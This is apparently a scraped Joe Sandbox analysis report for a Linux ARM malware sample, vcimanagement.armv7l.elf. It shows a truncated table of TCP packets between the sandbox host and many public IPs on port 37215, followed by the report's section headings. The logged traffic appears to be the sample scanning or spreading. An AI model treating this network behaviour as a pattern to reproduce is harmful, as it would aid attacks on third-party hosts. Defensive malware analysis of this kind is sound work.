Dec 30, 2024 11:58:16.051431894 CET	14099	37215	192.168.2.13	197.106.42.117
Dec 30, 2024 11:58:16.051434040 CET	37215	14099	197.57.69.28	192.168.2.13
Dec 30, 2024 11:58:16.051434994 CET	35410	37215	192.168.2.13	41.227.170.47
Dec 30, 2024 11:58:16.051443100 CET	37215	14099	41.70.25.216	192.168.2.13
Dec 30, 2024 11:58:16.051445961 CET	14099	37215	192.168.2.13	41.33.72.13
Dec 30, 2024 11:58:16.051451921 CET	37215	14099	41.44.99.224	192.168.2.13
Dec 30, 2024 11:58:16.051453114 CET	14099	37215	192.168.2.13	41.10.171.35
Dec 30, 2024 11:58:16.051464081 CET	37215	14099	41.133.244.190	192.168.2.13
Dec 30, 2024 11:58:16.051472902 CET	37215	14099	41.212.72.108	192.168.2.13
Dec 30, 2024 11:58:16.051472902 CET	14099	37215	192.168.2.13	197.57.69.28
Dec 30, 2024 11:58:16.051472902 CET	14099	37215	192.168.2.13	41.70.25.216
Dec 30, 2024 11:58:16.051480055 CET	37215	14099	156.91.18.140	192.168.2.13
Dec 30, 2024 11:58:16.051486015 CET	37215	14099	156.164.108.160	192.168.2.13
Dec 30, 2024 11:58:16.051486969 CET	14099	37215	192.168.2.13	41.133.244.190
Dec 30, 2024 11:58:16.051486969 CET	14099	37215	192.168.2.13	41.44.99.224
Dec 30, 2024 11:58:16.051493883 CET	37215	14099	41.56.66.145	192.168.2.13
Dec 30, 2024 11:58:16.051500082 CET	14099	37215	192.168.2.13	41.212.72.108
Dec 30, 2024 11:58:16.051501989 CET	60480	37215	192.168.2.13	197.131.92.40
Dec 30, 2024 11:58:16.051502943 CET	37215	14099	41.228.179.157	192.168.2.13
Dec 30, 2024 11:58:16.051512957 CET	14099	37215	192.168.2.13	156.91.18.140
Dec 30, 2024 11:58:16.051512957 CET	14099	37215	1

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report vcimanagement.armv7l.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Linux Analysis Report
vcimanagement.armv7l.elf